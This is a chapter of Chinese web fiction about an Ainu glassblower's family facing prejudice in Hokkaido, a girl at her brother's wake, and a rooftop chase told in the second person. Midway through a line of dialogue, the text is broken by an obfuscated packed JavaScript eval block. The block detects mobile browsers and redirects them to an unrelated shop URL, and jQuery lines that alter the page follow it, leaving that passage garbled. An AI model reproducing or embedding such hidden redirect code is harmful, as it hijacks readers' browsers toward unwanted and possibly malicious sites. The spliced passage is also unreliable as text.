“已经睡了呢。”小野三叶示意楼上的灯暗了，一只手撑着桌沿，另一只手护在小腹前。
孕期的身体已经变得有些笨重，弯腰起身都不像从前那样利落。金田一哲郎扶着她，在工作台旁慢慢坐下。
“我也起了个大早！”金田一哲郎笑嘻嘻地打了个哈欠，又回到原座，转着顶端带有糖稀状玻璃的一根长管子。
“辛苦了，”三叶静静陪着丈夫，想到客人空空如也的行李，“明天我带她去镇上买些衣服吧，刚刚被借了些从前的衣服，不大合身。”
“好啊一起，正好想去六花亭。”金田一哲郎抹掉额间的汗，看了眼手机，【19：23】。
“我们两人足够了，六花亭想买些什么？”这批玻璃杯催得很急，小野三叶擦掉他额头的汗，有点心疼道。
“这算什么。”金田一哲郎咧着嘴角继续做事。
工坊并不大，工作台、冷却架、玻璃原料和成品几乎占去了所有能够利用的空间。几只装着不同颜色玻璃料的箱子靠墙堆叠，角落里还摆着几个没有完成的作品。稍微转个身，袖口就可能碰到架子。
可这里收拾得异常干净。工具按照大小整整齐齐地挂在墙上，地面没有任何容易绊脚的杂物。靠近炉子的地方铺了防滑垫，原本堆在过道上的材料也全被搬到了墙边。
尤其是三叶经常经过的地方，金田一哲郎甚至特意腾出了一条宽些的通道。
金属夹具和容易倾倒的材料全被挪到了她够不到的位置，工作台的边角也垫上了软套。连需要频繁搬动的东西，都提前按照使用顺序摆好，免得她弯腰去拿。
小野三叶拿起已做成的杯子却有点伤感。杯子平平常常，毫无稀奇之处。
刚认识金田一哲郎的时候，他自称玻璃艺术家。会花上几天时间，只为了烧出一片不规则的玻璃，再在里面嵌进一些森林、河流、熊与火焰的图案。
东西算不上实用，却有一种奇怪的生命力。
可现在，工作台上的杯子一个接一个。杯子、花瓶、酒杯，规格统一，厚度一致，数量足够。
批发商需要什么，他就做什么，自己的作品反而越来越少。
“今天有什么人来过吗？”金田一哲郎突然想起什么。
“唔……田中太太陪我闲聊了一会儿，”三叶想，丈夫最讨厌这几位邻居了，等的不会是她们，“哦，还有个快递员，是制作玻璃的材料吧？放到后院了。”
果然，金田一哲郎心情差了下来：“又是在背地里说孩子姓氏吧？”
金田一这个姓氏在北海道几乎是明牌的阿伊努人，自从在苫小牧扎根定居后，每一次认识新的邻居、客人，事情总会按照一种几乎固定的顺序发生。
先是对方听见姓氏时，短暂地睁大眼睛，“金田一……先生？”，然后恍然大悟似的笑起来，说着“原来如此”“真是少见啊”“以前只在电视上听说过呢”诸如此类的话。
语气惊讶，神情亲切，谨慎地多问两句祖籍。这些话说完，也就结束了。
下一次见面最多会点头，很少能客客气气地寒暄天气、工作或者其他什么，更不可能邀请他们去家里坐坐。
该庆幸成年人不会当面直呼虾夷人吗？金田一哲郎无奈地扯了下嘴角。
他想过，孩子最好和三叶姓，能让童年少点歧视或者忽视。童年已经够长了，他不想让孩子还没学会怎么保护自己，就先学会观察别人看自己的眼神。
但三叶没有同意，直到今天金田一哲郎还记得那天。
三叶低头摸着腹部，眼里的温柔能让他落泪：“如果是因为名字不好听，或者你觉得我的姓氏更适合孩子，我可以商量。”
“但如果是因为害怕别人怎么看他……”她抬起眼睛，“那就不要。”
“不要拿别人的问题，惩罚我们自己。”
“他们不愿意和你做邻居，是他们的问题。他们因为你的姓氏先入为主，也是他们的问题。”
炉火在两人身后缓慢地燃烧，金田一哲郎又觉得她说的没错，这里本来就是他们的土地。
今天的三叶俏皮地说：“我也改成金田一就没人说闲话了。”
这下轮到金田一哲郎气鼓鼓地反对：“干嘛要遵守和人的民法。”
三叶靠在台面，笑得乐不可支。
---
完满的家庭家家相似，不幸的一家各各不同。
高桥熊治一家就是后者。
一家五口，父母、一个儿子和两个妹妹。多年前，石狩地区的采矿业衰落，父亲失去工作，只得转去做渔业，一年前又被海浪卷走。家里只剩母亲一人勉强支撑，哥哥只好去东京工作，如今也已经死了。
五口之家转眼只剩三个人。
他们住在一栋年久失修的旧屋里，屋顶漏雨，墙壁受潮，冬天的寒气从窗缝和地板底下钻进来。家具都是用了多年的旧货，屋里没有什么值钱的东西，连取暖都得精打细算。
如今这栋旧屋摆了个简陋的灵堂。
遗照上的高桥熊治还很年轻，穿着不合身的旧西装，神情拘谨，嘴角勉强带着一点笑。
香案上摆着几束白花和一些简单的供品。邻居与亲戚陆续进门，低声问候，在遗照前合掌、鞠躬、上香。
高桥千雪捂住隐隐作痛的右肩，刚应付完警察，现在还需要对付这群人。
明明是群对哥哥印象不太深的家伙，在他灵前说着老套的安慰的话，转头就开始东家长西家短地拉起家常来。
好烦，高桥千雪坐在角落里，听着屋里此起彼伏的声音，眉头越皱越紧。
不能各回各家吗？到底是谁需要他们的安慰？
她烦躁地看了眼二楼。那个疯女人到底是谁？
小偷吗？光明正大闯进别人家里，翻哥哥的东西。刚才就应该告诉警察的，可转念一想，又觉得不行。
他们来问哥哥的尸体本就奇怪，她拿着案台上的骨灰盒搪塞过去了，也不敢多说什么，万一多事坏了妈妈那边的事怎么办？
千雪咬住下唇，手指不安地绞在一起。想来想去，希望妈妈那边一切顺利，等一切结束了就离开这个令人讨厌的小樽吧。
这时，一道女声轻轻落下来。
“你的眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799113|206235||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怎么了？”声音很好听，柔软清澈，像温水淌过耳畔
高桥千雪抬头，女人站在不远处，生得漂亮精致，眉眼柔和。她戴着一顶繁复的帽子，帽檐垂下细密的装饰，衬得整张脸十分端庄，和满室宾客格格不入。
城里人，和她幻想的东京人一模一样！高桥千雪不自觉摸上了自己的右眼。
“左眼。”那人提醒道。
“嘶。”高桥千雪换了个眼睛，好疼，真的伤到了，是刚刚推搡间磕到了？有破相吗，怎么没人提醒她，高桥千雪急得原地团团转。
女人俯下身，馥郁的花香随之扑面而来。高桥千雪下意识绷紧身体，眼前的女人没察觉她的紧张，心情很好似的，伸手碰了碰她的左眼。
“青了，下次注意安全。”
眼眶周围被轻轻按住，一点闷痛从眉骨下方慢慢渗开，紧接着被触碰过的地方像得到某种安抚，原本的疼意也随之消退，
高桥千雪没来得及感受更多，看着近在咫尺的那张脸，脸颊顿时腾地烧了起来：“您……您是哪位。”
靠、靠太近了吧！
“我是你哥哥在东京的朋友，”女人摘下帽子，波浪似的长卷发倾泻而下，“冒昧前来吊唁。”
---
苫小牧到小樽，不过百公里。
若是平时，驾车一个多小时，但今天的北海道不适合赶路。
你又避开了一只乱飞的乌鸦。这只鸟本就被风推得偏离了方向，找不到队伍，还差点被空中大运碾过，它只得拼命振翅，贴着树梢重新寻找落脚处。
棕红色的虹膜里，风从海面一路卷上陆地，公路两侧的树木被吹得不断倾斜，那道差点撞了它的身影快速掠过被低气压笼罩的原野。
【19：34】，终于到了，看着导航中相距不远的地址，你压低棒球帽，踩上屋檐，鞋底擦过瓦片的瞬间，身体已经跃了出去。
这里的房屋密度不高，没有新建住宅常见的围栏与停车位，因此显得更加空旷。不少人家前贴着拆迁预告，已经拆除的留下尚未清理干净的地基。你一手撑住矮墙，借力翻过屋脊，脚尖落在另一栋房子的边缘，眼观八方地收集信息。
狂风从侧面撞来，棒球服被吹得猎猎作响。身上的棒球服明显有些小了，袖口卡在手腕上，随着动作不断往上缩，短裤露出利落的小腿。帽檐险些被掀飞，你抬手一压，下一秒已经顺着屋顶斜坡冲了下去。
如果这时候有行人，就能看到一个房顶跑酷侠的身体在半空中舒展开来，越过两栋建筑之间的空隙，落在另一侧的屋檐。
翻过屋脊，跃下矮墙，借着阳台栏杆转身落地；下一刻又踩上空调外机，三两步攀回屋顶。像一只被暴风追赶，却反过来利用风势前进的鸟。
直到你跃上某一栋房子的屋脊，711便利店的灯光亮得异常醒目，而就在那片光下面，一个短发小女孩正蹲在店门前的屋檐下。
她面前铺着一张纸，手里握着蜡笔，低着头，一笔一画地画着什么。
你的脚步停住了。
高桥麻雪，高桥熊治最小的妹妹，她怎么一个人在这里？